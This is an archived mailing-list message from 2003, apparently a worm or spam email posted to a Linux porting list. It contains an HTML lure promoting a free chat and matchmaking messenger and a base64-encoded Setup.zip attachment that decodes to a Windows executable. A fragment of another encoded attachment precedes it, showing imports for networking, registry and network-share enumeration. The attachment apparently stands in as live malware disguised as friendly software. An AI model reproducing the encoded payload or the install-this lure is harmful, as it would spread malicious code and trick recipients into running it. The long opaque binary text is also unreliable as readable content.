AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA
kAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAAAAAAAAAAAAABAAkEAABY
AAAA1PAEAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAJBAAAgAAAAMDzBAAoAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAaQAAAKgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAMAAAADs9AQAIgAA
AAAAAAAAAAAA0MAEACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD/
//8AAAAAAAAAAAAAAAAAAAAAAAAId3d3d3d3d3d3d3BwAAAAj//////////////3BwAAAI//////
////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////////9wcA
AACP//////////////cHAAAAj//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP////////
//////cHAAAAj/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP8AAAAAAAAAAAD/cHAAAA
j//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP//////////////cHAAAAj///////////
///3BwAAAI/wAAAP////////9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//
////////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////DwAP
9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//////////////9wcAAACPD/D/
D/D/D/D/D/gHAAAAjw/w/w/w/w/w/w/4BwAAAAj4j4j4j4j4j4j4j4AAAAAAAAAAAAAAAAAAAAAA
AADwAAAf4AAAD8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAA
B8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAH
wAAAB8AAAAfgAAAP8kkkv7jDBAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAh3d3d3d3AACP//////cAAI//////9wAAj/AAAA/3AACP//////cA
AI/wAAAP9wAAj//////3AACP8AAAD/cAAI//////9wAAj/AA8A/3AACP//////cAAI//////9wAA
jw8PDw8PAAAA+Pj4+PAAAAAAAAAAAAAAgA8AAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAA
BwAAAAcAAAAHAAAABwAAAAcAAAAHAACADwAA1V8AAODEBAAAAAEAAgAgIBAAAQAEAOgCAAABABAQ
EAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADU9QQAnPUEAAAAAAAAAAAAAAAAAOH1BACs9QQAAAAA
AAAAAAAAAAAA7vUEALT1BAAAAAAAAAAAAAAAAAD29QQAvPUEAAAAAAAAAAAAAAAAAAH2BADE9QQA
AAAAAAAAAAAAAAAADfYEAMz1BAAAAAAAAAAAAAAAAAAAAAAAAAAAABj2BAAm9gQANvYEAAAAAABE
9gQAAAAAAFL2BAAAAAAAYvYEAAAAAABu9gQAAAAAADQAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQ
STMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAAAExvYWRM
aWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnT3BlbktleUEAAABXTmV0
T3BlbkVudW1BAAAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
--#YKCYR43333#--


From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: GC Softwares Ltd. <sales@gcnetwork.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Yahoo Matchmakers
Date: Tue,29 Jul 2003 16:31:08 PM
Lines: 850
Approved: news@gmane.org
Message-ID: <20030729083244.55F70482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=#EMWSD61561#
X-Trace: ger.gmane.org 1416622631 28573 80.91.229.3 (22 Nov 2014 02:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 02:32:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.parisc-linux.org (unknown [202.113.25.81])
	by dsl2.external.hp.com (Postfix) with SMTP id 55F70482E
	for <parisc-linux@parisc-linux.org>; Tue, 29 Jul 2003 02:32:44 -0600 (MDT)
X-Mailer: Microsoft Internet Mail 4.70.1155
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19044

--#EMWSD61561#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<FONT></FONT>
=====================================================================<BR>Are you one of those unfortunate human beings who are desperately<BR>looking for friends.. but still not getting true friends with whom<BR>you can share your everything..<BR><BR>anyway you wont feel down any more cause GC Chat Network has brought<BR>up a global chat and online match making system using its own GC <BR>Messenger. Attached is the fully functional free version of GC<BR>Instant Messenger and Match Making client..<BR>Just install, register an account with us and find thousands of online<BR>pals all over the world..<BR>You can also search for friends by specific country,city,region etc.<BR><BR>Regards Admin,<BR>GC Global Chat Network System..</BODY></HTML>

--#EMWSD61561#
Content-Type: application/octet-stream;
	name=Setup.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="Setup.zip"

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
